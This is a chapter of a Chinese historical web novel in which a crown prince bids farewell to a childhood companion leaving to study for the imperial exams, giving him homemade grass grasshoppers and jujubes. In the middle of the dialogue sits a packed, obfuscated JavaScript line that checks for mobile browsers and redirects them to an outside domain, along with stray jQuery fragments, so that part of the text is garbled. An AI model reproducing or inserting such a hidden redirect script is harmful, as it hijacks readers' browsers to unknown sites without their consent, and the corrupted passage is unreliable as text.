天色愈发阴暗,院子里簌簌地落下了雨。
雨又细又密,像是起了一层雾。
朱苗留下陈郎、张郎二人撤到廊下听雨闲话,看雨打芭蕉。雨撒落在硕大的芭蕉叶上,滑落滚动,如扯断的珍珠串一样啪啪砸在地上。
“父亲今天跟我提了一句,再过一段时间想跟皇上请命,许我留在家中温书准备科考。”陈郎闲话一般,将堆积在心里多日的心思吐露出来,“我答应了。”
张郎舍不得三人在一起的快活日子,急忙道:“翻了年你才十五,这就准备科考了?”
科举才是正途,陈家的儿郎注定都是要走这条路的。只是,他本以为陈大人会再放陈郎几年呢。
“十五已然不小了。”陈郎道,“况且父亲说,一次未必能中。让我做好长久准备。”
陈大人官居礼部尚书,官运亨通,估计着在致仕前还能再升升。他想在那之前将整个家族里最有出息的几个孩子给安排妥帖。
太子伴读的位置没了让人不得不扼腕可惜,但志存高远者,有舍才有得。
张郎嘴巴张了张,终究只吐出一口叹息。
这声叹息昭告着童年时期结束了,不仅是陈郎,还有他自己。
“你父亲对你有什么安排吗?”陈郎问。
“父亲让我安心陪太子读书,待我成家后袭爵。”张郎挠了挠头,很不乐意聊这些长大后的事情,“至于我自己想干什么,还没想好。”
陈郎点头:“那也是很好的。”
袭爵相当于躺在祖先的功劳簿上过好日子。对于野心不大的人来说,也是顶好过的日子了。再加上张郎自小陪太子长大,朝夕相处。日后只要不触犯底线,太子也会保他。
至于陈大人呢,也是经过了精打细算。
耐心等到陈郎陪太子长到十二岁才行动,有这份打小的情谊在,太子也会对陈郎心存善意。
但是再待下去就不划算了。
正经科举考出来的人才能在朝堂站稳脚跟、大展宏图。陈郎文武双全,不是池中之物,陈家将一份宝压在了他身上。成功了的话,陈家下两代就都有指望了。
陈郎将眼睛转向一直一言不发的太子,迟疑了下,还是说出来口。
“等我走后,皇上应该会另选一位补上。”
朱苗点头。
张郎抢白道:“凭他来的是谁,怎么比得上咱们三个的情谊。”
陈郎失笑摇头:“这样的话你放在心里就好了,说出来传出去,人家还以为你要怎么样了呢。”
心里却因为张郎这句话心里暖烘烘的。他内心也是舍不得离开。自从父亲第一次提过后,一直犹豫纠结,拖到现在才下定决心。
他看了看太子,内心更希望刚才张郎那句话是由太子说出口。
芭蕉叶被雨洗刷地油光发亮,翠绿宽大的叶片尾端裂开了,朱苗在透过那缝隙看后面的流水潺潺。流水卷着被风吹雨打落下的树叶飘远,无法挽留。
她身处廊下风平浪静,雨打不着。
却无力为身边人心里撑起一把大伞。
远处宫女移步靠近,将端着的东西呈给朱苗。那上面有三只草蚱蜢,朱苗一手提起一只分别递给两人,自己拿了一只放置在掌心。
“这是!”张郎惊喜出声,“草蚱蜢,嘿?小时候玩过,已经好久没有见到了。”
朱苗笑道:“对啊,我还是从你们那里才知道这东西呢。那时张郎被道旁的棕榈树叶子划到了眼睛,气得要把树给砍了,还是陈郎......”
“我拿棕榈内芯叶子编了一只草蚱蜢才将他哄住。”提起往事,陈郎眼底带了笑意,“张郎那时活脱脱就是个混蛋,刚因为打架被家里罚,也不长记性,连宫里的树都敢嚷着要砍。把我吓得出了一身冷汗,不得不想出这个办法转移注意。”
“那只草蚱蜢我还好好放着呢。”张郎甩着草蚱蜢在空中飞,刚才那点哀愁瞬间都烟消云散了,“你编得很精细,我还取笑你该去天桥底下摆摊卖这个哈哈哈。”
陈郎举手锤了他一拳:“是家里弟弟妹妹多,为了哄他们才学的。”
“其实父亲前两天跟我提了这件事情,换你的人也选好了。”
陈郎被朱苗的话震惊,父亲的行动居然如此迅速,这么快就跟皇上提了!
“以后见你的时间少了,离别前,我想送你点什么。东宫里奇珍异宝虽多,但那些跟我也没多大关系。于是我自己学着编了草蚱蜢,又在今日叫你们来摘枣。”
张郎不甩草蚱蜢了,举在手心仔细打量。
“这个居然是你亲手编的!?我们不是一直在一起吗,你什么时候学的?”
朱苗白了他一眼:“说得跟你们也住在东宫一样,我想办点什么事儿都得让你知道才行?”
“你别打岔,让太子继续说。”陈郎拧了张郎胳膊一把。
张郎捂着胳膊,悻悻闭嘴。
“其实我也什么特别想说的。”
朱苗有些别扭,学着张郎也挠了挠头。
见两人在静静看着自己,等她说完,朱苗才鼓起勇气继续说下去。
“草蚱蜢我尽力学了,但编得没你那只好看。单拿这个我送不出手,还好东宫的枣树熟了。我们刚认识时,那棵枣树才刚移植过来,花木匠人白天黑夜盯着,就怕它活不下来。活下来后,又愁怎么不结果子。今年,是它第一次挂果子。这棵树是我们也算是见证我们三人成长了,我想,没有什么礼物比得上它结的果子。”
“原来你千叮咛万嘱咐,让我们两人今日一定要来东宫,是为了要给陈郎送行呀。”
陈郎起身,整理衣冠,朝着朱苗郑重一拜。
三人刚才挨着坐,张郎见此,赶紧后撤一步避开了陈郎行的礼。
“太子,我......”
陈郎善言,第一次遇到掏空肚子找不出半句话的窘迫。
朱苗扶起陈郎,抬手豪迈地拍了拍他的肩膀。
“陈鸿,加油好好干啊。”
祝你得偿所愿,金榜题名。
陈鸿笑出声来,千言万语,说出口的却是:“原来太子还记得我的名字。”
朱苗背着手得意洋洋,拿眼睛去揶揄张郎。
张郎跳起脚来,大喊道:“这怎么能怪我呀。”
“没说怪你呀。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422624|184781||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“对呀。”陈鸿抿唇一笑,一字一句念道:“张、美、男!”
“啊啊啊我要你们两个好看!”
张郎又羞又恼,气急败坏地追着两人打。
陈鸿的离别在一场欢笑打闹中结束。
离开东宫时,朱苗将果型最大最好的两兜枣给了他。悄默凑到他耳边叮嘱:“此事乃机密,不要泄露......尤其是在父亲和张郎面前......”
皇城内车马禁行,陈鸿抱着两兜枣撑伞步行出宫。雨势渐缓,地上积水朝着排水口流动,鞋子衣衫难免被雨水浸湿,贴着衣服,沉甸甸的。
陈鸿步伐轻松,小厮们套了车马等在宫门口。等到陈鸿靠近了,快步撑伞迎上前。
上马车前,陈鸿回头深深望了一眼皇城。
下一次来,他就该是以臣子的身份了。
一名小厮伸手去接陈鸿手中的东西,关切道:“少爷的身上都湿了,得赶紧回府里换身,免得着凉了老爷都得心疼。”
手却接了个空儿,陈鸿自己抱着那两兜青枣上了车。
小厮站在原地眨了眨眼,赶紧跟了上去。
“父亲是怕我生病耽误了功课,放心吧,我几时因为生病耽误读书过。”
小厮笑道:“少爷是最用功的人,定能一举夺魁。”
陈鸿低头拿帕子把布兜外面的雨水细致地擦干净。
“这就是太子送的枣吗?看着比张家少爷的布袋重,看来在太子心里,还是更看重少爷的。”
陈鸿神色淡淡,说:“这样的话,以后莫再让我知道你说。”
小厮低头称是,心里却嘀咕纳闷。少爷和张家少爷同为太子伴读,互相之间总有暗暗较劲的意思在。怎么这次少爷就不爱听了呢。
少爷的心思跟着天气一样,变化多端的。
不过少爷不当太子伴读,以后也用不着跟张家少爷比较了。
回去后,陈鸿换了一身衣服后就马不停蹄去了正厅。这个家里说话最有分量的三人都在那里,陈鸿的祖母、父亲和母亲。
聆听了长辈教诲后,陈鸿献上了朱苗给的枣。
长辈们遥谢了太子赐枣,又夸了陈鸿有孝心。没说两句话后就将话题扯到了科举上面:“你父亲为你寻了名师,以后你就待在家里安心读书,旁的闲事就不要上心了。”
陈鸿一一应和,恭顺谦和的态度长辈们见了都很满意。
雨还下着,到处都是湿漉漉的。
陈鸿从父亲的书房借了几本书拿回去看,一进屋就看见侍女抱着他今天换下来的那身衣服心疼:“这件衣服少爷第一次穿呢,怎么就勾了线呢?这件衣服织法复杂,怕是不好补。”
陈鸿想了想,估计是下雨前,将在院子里玩的福气抱走时不慎被它的爪子勾破的。
“你们尽力想办法,补不好也没事。母亲若问起,就说我不爱穿鲜艳的颜色,尽管推到我身上就好了。”
侍女这才安心下去。
陈鸿推开半扇窗透气,伴着雨声在书桌前读书。
雨珠子砸在石板上的声音太硬。
他想,雨过天晴后,叫人去寻一丛芭蕉种下吧。